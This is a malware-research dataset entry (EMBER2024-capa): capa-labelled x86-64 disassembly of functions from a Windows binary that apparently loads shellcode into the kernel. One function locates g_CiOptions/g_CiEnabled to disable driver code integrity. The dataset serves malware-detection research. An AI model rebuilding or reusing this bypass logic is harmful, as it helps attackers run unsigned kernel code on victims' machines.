joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002cd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor r9d, r9d
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x70], r14
movabs rax, 0x624dd2f1a9fbe77
mov r14, qword [rdx + 0x10]
mov r10, rdx
cmp qword [r8 + 0x10], r14
mov rbx, r8
mov r15, rcx
mov qword [rsp + 0x28], rcx
cmovb r14, qword [r8 + 0x10]
mov r11d, r9d
mul r14
mov rax, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x1f4
sub r14, rax
je 0x140002e98
mov qword [rsp + 0xb0], rbp
mov rbp, qword [r8 + 0x18]
mov qword [rsp + 0x88], rsi
mov rsi, qword [r10 + 0x18]
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x78], r12
movabs r12, 0x8080808080808081
mov rax, r10
cmp rsi, 7
jbe 0x140002d7e
mov rax, qword [r10]
lea rdi, [rax + r11*2]
mov rax, rbx
cmp rbp, 7
jbe 0x140002d8e
mov rax, qword [rbx]
movzx ecx, word [rax + r11*2]
mov eax, 0x51eb851f
mul ecx
shr edx, 4
imul eax, edx, 0x32
sub ecx, eax
cmp ecx, 1
jg 0x140002dac
movsxd rdx, ecx
jmp 0x140002dcf
xor r8d, r8d
mov edx, 1
dec ecx
nop word [rax + rax]
mov rax, rdx
add rdx, r8
mov r8, rax
sub rcx, 1
jne 0x140002dc0
movzx ecx, word [rdi]
mov rax, r12
xor rcx, rdx
mul rcx
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
movsxd rax, ecx
add r9, rax
mov rax, rbx
cmp rbp, 7
jbe 0x140002dfb
mov rax, qword [rbx]
lea rdi, [rax + r11*2]
mov rax, r10
cmp rsi, 7
jbe 0x140002e0b
mov rax, qword [r10]
movzx ecx, word [rax + r11*2]
mov eax, 0x51eb851f
mul ecx
shr edx, 4
imul eax, edx, 0x32
sub ecx, eax
cmp ecx, 1
jg 0x140002e29
movsxd rax, ecx
jmp 0x140002e4f
xor r8d, r8d
lea edx, [rcx - 1]
mov eax, 1
nop dword [rax]
nop dword [rax + rax]
mov rcx, rax
add rax, r8
mov r8, rcx
sub rdx, 1
jne 0x140002e40
movzx ecx, word [rdi]
inc r11
and rcx, rax
mov rax, r12
mul rcx
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
movsxd rax, ecx
add r9, rax
cmp r11, r14
jb 0x140002d72
mov r12, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x70]
lea r10, [rsp + 0x5a]
mov rbx, qword [rsp + 0xa8]
movabs r8, 0xcccccccccccccccd
nop dword [rax]
nop dword [rax + rax]
sub r10, 2
mov rax, r8
mul r9
shr rdx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r9w, cx
add r9w, 0x30
mov word [r10], r9w
mov r9, rdx
test rdx, rdx
jne 0x140002ec0
lea r8, [rsp + 0x5a]
mov rdx, r10
mov rcx, r15
call fcn.140002f20
mov rax, r15
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140003080
add rsp, 0x90
pop r15
ret

Function at 0x1400039f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003a42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003a42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003a42
cmp dword [rcx + 0x84], 0xe
jbe 0x140003a42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003a44
xor al, al
add rsp, 0x28
ret
Function at 0x140001198
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14, rdx
mov rbx, rcx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
jne 0x1400011cb
mov ecx, 0xc0000005
jmp 0x14000128c
mov ecx, 0x8664
cmp word [rax + 4], cx
jne 0x1400011de
mov ecx, dword [rax + 0x88]
jmp 0x1400011f0
mov ecx, 0x14c
cmp word [rax + 4], cx
jne 0x140001287
mov ecx, dword [rax + 0x78]
mov r8d, ecx
xor r9d, r9d
mov r15d, dword [r8 + rbx + 0x20]
mov esi, dword [r8 + rbx + 0x24]
add r15, rbx
mov ecx, dword [r8 + rbx + 0x18]
add rsi, rbx
dec ecx
lea r10d, [rcx + r9]
shr r10d, 1
mov edx, dword [r15 + r10*4]
add rdx, rbx
cmp r14, rdx
je 0x140001261
test r14, r14
je 0x140001256
test rdx, rdx
je 0x140001250
mov rax, r14
sub rax, rdx
movsx r11d, byte [rax + rdx]
movsx edi, byte [rdx]
inc rdx
test r11b, r11b
je 0x140001245
cmp r11b, dil
je 0x140001230
mov edx, r11d
sub edx, edi
js 0x140001256
test edx, edx
jle 0x140001261
lea r9d, [r10 + 1]
jmp 0x14000125a
lea ecx, [r10 - 1]
cmp ecx, r9d
jb 0x140001292
jmp 0x14000120d
cmp ecx, r9d
jb 0x140001292
movzx eax, word [rsi + r10*2]
cmp eax, dword [r8 + rbx + 0x14]
jae 0x140001292
mov eax, dword [r8 + rbx + 0x1c]
movzx ecx, word [rsi + r10*2]
add rax, rbx
mov eax, dword [rax + rcx*4]
add rax, rbx
jmp 0x140001294
mov ecx, 0x65e
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140001904
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov dword [rsp + 8], ecx
push rbx
sub rsp, 0x20
mov r8d, 0x1000
mov edx, 8
mov dword [rsp + 0x30], r8d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400019e4
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400019b7
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0x80000005
jne 0x1400019ec
cmp dword [rbx], 0
jne 0x1400019f0
test rbx, rbx
je 0x1400019e4
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
add rsp, 0x20
pop rbx
ret
test eax, eax
js 0x1400019c3
mov rax, rbx
jmp 0x1400019e6

Function at 0x1400019f8
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], r9
push rdi
sub rsp, 0x20
and dword [rax + 0x20], 0
mov esi, ecx
mov rax, qword gs:[0x30]
mov edi, 0x1000
mov r8d, edi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001ad0
jmp 0x140001a8c
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
add edi, edi
cmp edi, 0x20000000
ja 0x140001ad0
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, edi
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
lea r9, [rsp + 0x48]
mov r8d, edi
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001a44
test eax, eax
js 0x140001aaf
mov rax, rbx
jmp 0x140001ad2
test rbx, rbx
je 0x140001ad0
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001ce4
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 0x10], rdx
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
and qword [rbp - 9], 0
mov r14, r9
mov rsi, r8
mov rdx, rcx
test r8, r8
jne 0x140001d1f
mov eax, 0xc00000f2
jmp 0x140001e7f
test rdx, rdx
je 0x140001e7a
xor eax, eax
lea rdi, [rbp - 1]
lea ecx, [rax + 0x10]
rep stosb byte [rdi], al
lea rcx, [rbp - 1]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
and qword [rbp + 0x17], 0
lea rax, [rbp - 1]
xorps xmm0, xmm0
mov qword [rbp + 0x1f], rax
lea r8, [rbp + 0xf]
mov dword [rbp + 0xf], 0x30
mov edx, 1
mov dword [rbp + 0x27], 0x40
lea rcx, [rbp - 9]
movdqu xmmword [rbp + 0x2f], xmm0
call qword [sym.imp.ntdll.dll_NtOpenDirectoryObject]
test eax, eax
js 0x140001e7f
and dword [rbp + 0x77], 0
jmp 0x140001e0b
mov rcx, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rbp + 0x6f]
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001e67
mov r8d, dword [rbp + 0x6f]
lea rax, [rbp + 0x6f]
mov rcx, qword [rbp - 9]
mov r9b, 1
mov qword [rsp + 0x30], rax
mov rdx, rbx
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
test eax, eax
js 0x140001e4b
mov rdx, r14
mov rcx, rbx
call rsi
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov edi, eax
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test edi, edi
jns 0x140001e47
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0x6f]
and dword [rbp + 0x6f], 0
mov r9b, 1
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x77]
xor edx, edx
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
cmp eax, 0xc0000023
je 0x140001d84
jmp 0x140001e67
xor edi, edi
jmp 0x140001e67
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140001e76
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, edi
jmp 0x140001e7f
mov eax, 0xc00000f0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140002060
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbp, rdx
mov r8, rdx
mov rdx, rcx
mov rbx, rcx
xor ecx, ecx
call fcn.140002018
mov dil, 1
lea rsi, [rbx + 2]
mov r12d, 4
lea r13, str.cw
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x1400020af
inc rdx
sub r8, 1
jne 0x1400020a9
mov al, byte [rbx + 5]
mov r14, rsi
mov cl, byte [rbx + 1]
mov r15, r12
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xb], al
mov byte [rbx + 7], cl
mov r11b, byte [r14 - 2]
mov r8b, byte [r14 - 1]
mov dl, r11b
mov r9b, byte [r14 + 1]
xor dl, r8b
xor r9b, byte [r14]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r9b
imul ecx, eax, 0x1b
xor r10b, r11b
xor r10b, r8b
xor cl, dl
mov dl, r8b
xor dl, byte [r14]
xor cl, r11b
xor r11b, byte [r14 + 1]
xor cl, r10b
mov byte [r14 - 2], cl
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
mov al, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r10b
mov byte [r14 - 1], cl
imul ecx, eax, 0x1b
mov al, r11b
shr al, 7
add r11b, r11b
movzx eax, al
xor cl, r9b
xor cl, byte [r14]
xor cl, r10b
mov byte [r14], cl
imul ecx, eax, 0x1b
xor cl, r11b
xor cl, byte [r14 + 1]
xor cl, r10b
mov byte [r14 + 1], cl
add r14, r12
sub r15, 1
jne 0x140002116
mov r8, rbp
mov rdx, rbx
mov cl, dil
call fcn.140002018
inc dil
cmp dil, 0xa
jb 0x1400020a3
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x1400021dc
inc rdx
sub r8, 1
jne 0x1400021d6
mov dl, byte [rbx + 6]
mov r8, rbp
mov al, byte [rbx + 5]
mov cl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], dl
mov dl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 7], dl
mov rdx, rbx
mov byte [rbx + 0xa], cl
mov cl, 0xa
mov byte [rbx + 0xb], al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.140002018
Function at 0x14000303c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
test r8, r8
je 0x140003064
and dword [r8], edi
and qword [rbp + 0x28], rdi
and dword [rbp + 0x38], edi
test rsi, rsi
je 0x1400030e1
and qword [rbp - 8], rdi
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x18]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
mov r8d, 3
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x1400030b6
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x1400030e1
test edi, edi
je 0x1400030e1
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.1400030f0
test rbx, rbx
je 0x1400030e3
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x1400030e3
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400030f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0xa0
mov r15, rcx
lea rdi, [rbp - 0x29]
xor eax, eax
xor ebx, ebx
and qword [r8], rbx
mov rsi, rdx
mov r12, r8
mov r8, rsi
lea edx, [rbx + 0x18]
mov ecx, edx
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rbp - 0x41]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x51]
lea ecx, [rbx + 0x10]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea edx, [rbx + 8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x1400032a2
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140016800
lea r15d, [rbx + 1]
test esi, esi
je 0x140003193
mov eax, 0xf62e6ce0
mov edx, esi
mov rcx, r14
xor byte [rcx], al
add rcx, r15
rol eax, 1
add edx, 0xffffffff
jne 0x140003187
and dword [rbp - 0x31], ebx
lea r9, [rbp - 0x51]
movsd xmm1, qword [rbp - 0x31]
lea r8, [rbp - 0x11]
movsd qword [rbp - 1], xmm1
lea rdx, [rbp + 0xf]
movsd xmm1, qword [rbp - 0x19]
mov rcx, r15
mov qword [rbp - 0x41], r14
mov qword [rbp - 0x39], rsi
movups xmm0, xmmword [rbp - 0x41]
movsd qword [rbp + 0x1f], xmm1
movaps xmmword [rbp - 0x11], xmm0
movups xmm0, xmmword [rbp - 0x29]
movaps xmmword [rbp + 0xf], xmm0
call qword [sym.imp.msdelta.dll_ApplyDeltaB]
test eax, eax
je 0x140003272
mov rdi, qword [rbp - 0x49]
mov rsi, qword [rbp - 0x51]
cmp byte [rbp + 0x7f], bl
je 0x140003221
and dword [rbp + 0x6f], ebx
lea r9, [rbp + 0x77]
and dword [rbp + 0x77], ebx
lea r8, [rbp + 0x6f]
mov edx, edi
mov rcx, rsi
call fcn.140011130
test al, al
jne 0x14000322d
mov r9d, dword [rbp + 0x77]
lea rdx, str.____Error_data_checksum_mismatch__Header_sum_0x_lx__calculated_sum_0x_lx_r_n
mov r8d, dword [rbp + 0x6f]
mov ecx, r15d
call fcn.140011c88
jmp 0x140003266
lea rcx, str.___Checksum_verification_skipped_r_n
call fcn.140002fe8
mov rax, qword gs:[0x30]
mov r8, rdi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140003266
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140016800
mov qword [r12], rdi
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.msdelta.dll_DeltaFree]
jmp 0x140003286
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_while_decompressing_resource
call fcn.140012be4
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0xa0]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003360
Capabilities:
Map section object

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x50
and qword [r11 + 8], 0
lea r8, [r11 + 8]
mov dword [rsp + 0x48], 4
mov rax, rdx
and dword [rsp + 0x40], 0
mov rbx, rcx
lea rcx, [r11 + 0x18]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x28], rcx
mov edx, 0x1000
and qword [r11 - 0x30], 0
xor r9d, r9d
mov qword [r11 - 0x38], rdx
mov rcx, rax
mov qword [r11 + 0x18], rdx
or rdx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x14000340e
mov ecx, dword [rbx + 8]
sub ecx, 1
je 0x1400033e3
cmp ecx, 1
jne 0x1400033e3
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
mov r8, qword [r8 + 0x10]
call fcn.140011c88
jmp 0x1400033fd
mov rax, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
mov r8d, dword [rax + 8]
call fcn.140011c88
mov rdx, qword [rsp + 0x60]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x140003422
mov r8d, eax
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.140011c88
add rsp, 0x50
pop rbx
ret
Function at 0x140003aa8
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rsi, qword [rcx + 0x18]
xor r12d, r12d
mov dword [rbp + 0x3b0], r12d
mov r14, r8
mov qword [rsp + 0x40], r12
mov r15, rdx
mov qword [rbp + 0x3c8], r12
mov rdi, rcx
mov qword [rbp + 0x3c0], r12
mov ebx, r12d
mov qword [r8], r12
test rsi, rsi
jne 0x140003b0d
lea rdx, str.____Cannot_query_ntoskrnl_loaded_base__abort_r_n
mov ecx, 1
call fcn.140011c88
jmp 0x140003c72
mov rdx, rsi
lea rcx, str.___Loaded_ntoskrnl_base_0x_llX_r_n
call fcn.140002fe8
mov ecx, 0x7ffe0030
lea rax, [rsp + 0x60]
cmp rax, rcx
je 0x140003b54
movzx edx, word [rcx]
lea rax, [rsp + 0x60]
test dx, dx
je 0x140003b50
lea r8, [rsp + 0x60]
sub rcx, r8
mov word [rax], dx
add rax, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140003b40
mov word [rax], r12w
lea rdx, str._system32_ntoskrnl.exe
lea rcx, [rsp + 0x60]
call fcn.140001400
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rbp + 0x3c0]
xor edx, edx
lea r8, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x140003c64
mov rdx, qword [rbp + 0x3c0]
test rdx, rdx
je 0x140003c64
lea rcx, str.___Ntoskrnl.exe_mapped_at_0x_llX_r_n
call fcn.140002fe8
mov rax, qword [rbp + 0x3c0]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
lea rdx, [rbp + 0x3c8]
mov r9, r15
mov qword [rdi + 0x20], rax
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140003428
test eax, eax
jne 0x140003beb
lea rdx, str.____Error_while_mapping_payload__abort_r_n
jmp 0x140003afe
mov rdx, qword [rbp + 0x3c8]
lea rax, [rbp + 0x3b0]
mov r9, qword [rbp + 0x3c0]
mov r8, qword [rsp + 0x40]
mov ecx, dword [rdi + 8]
mov qword [rsp + 0x30], rax
mov eax, dword [rdi + 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov qword [r14], rdx
call fcn.1400106e4
mov rbx, rax
test rax, rax
je 0x140003c72
mov edx, dword [rbp + 0x3b0]
test edx, edx
jne 0x140003c56
lea rdx, str.____Unexpected_shellcode_procedure_size__abort_r_n
mov ecx, 1
call fcn.140011c88
mov edx, 0x800
mov rcx, rbx
call fcn.140010984
mov rbx, r12
jmp 0x140003c72
lea rcx, str.___Bootstrap_code_size__0x_lX_r_n
call fcn.140002fe8
jmp 0x140003c72
mov edx, eax
lea rcx, str.____Error_while_loading_ntoskrnl.exe
call fcn.140012b18
mov rax, rbx
add rsp, 0x470
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140004560
Capabilities:
Disable driver code integrity
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x430
xor ebx, ebx
lea rdi, str.ntoskrnl.exe
mov qword [rax + 0x10], rbx
cmp ecx, 0x23f0
lea rax, str.CI.dll
mov ebp, ecx
cmovae rdi, rax
call fcn.140014184
test eax, eax
je 0x1400046b5
mov edx, 0x104
mov word [rsp + 0x20], bx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1400046b5
lea rdx, [0x14004504c]
lea rcx, [rsp + 0x20]
call fcn.140001400
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.140001400
xor edx, edx
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
test rax, rax
je 0x140004693
mov rdx, rdi
lea rcx, str.___Module___ws__loaded_for_symbols_lookup_r_n
call fcn.140002fe8
call fcn.1400116b4
mov rdx, rsi
mov rcx, rdi
mov r14, rax
call fcn.140014030
test eax, eax
je 0x140004677
lea rax, str.g_CiOptions
cmp ebp, 0x23f0
lea rcx, str.g_CiEnabled
cmovae rcx, rax
lea rdx, [rsp + 0x458]
call fcn.1400140b4
test eax, eax
je 0x14000466e
mov rbx, r14
lea rdx, str.___Symbol_resolved_to_0x_llX_address_r_n
sub rbx, rsi
mov ecx, 2
add rbx, qword [rsp + 0x458]
mov r8, rbx
call fcn.140011c88
jmp 0x140004688
lea rdx, str.____Unable_to_find_specified_symbol_r_n
jmp 0x14000467e
lea rdx, str.____Unable_to_load_symbols_for_file_r_n
mov ecx, 1
call fcn.140011c88
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400046b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rdi
lea rdx, str.____Could_not_load___ws___GetLastError__lu_r_n
mov r9d, eax
mov ecx, 1
call fcn.140011c88
mov rax, rbx
jmp 0x1400046b7
xor eax, eax
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400072a4
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x50
and qword [rax - 0x28], 0
mov edi, r9d
and dword [rax + 0x20], 0
mov rsi, r8
mov dword [rax - 0x10], r9d
mov r9d, 0x10
mov dword [rax - 0x30], r9d
lea r8, [rsp + 0x40]
mov qword [rax - 0x18], rdx
lea rax, [rax - 0x18]
mov edx, 0x22e400
mov qword [rsp + 0x20], rax
mov rbx, rcx
call fcn.1400109bc
test eax, eax
jns 0x140007308
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x140007345
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
cmp dword [rsp + 0x80], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
je 0x14000733f
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x140007345
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x14000ac64
Capabilities:
Encode data using xor

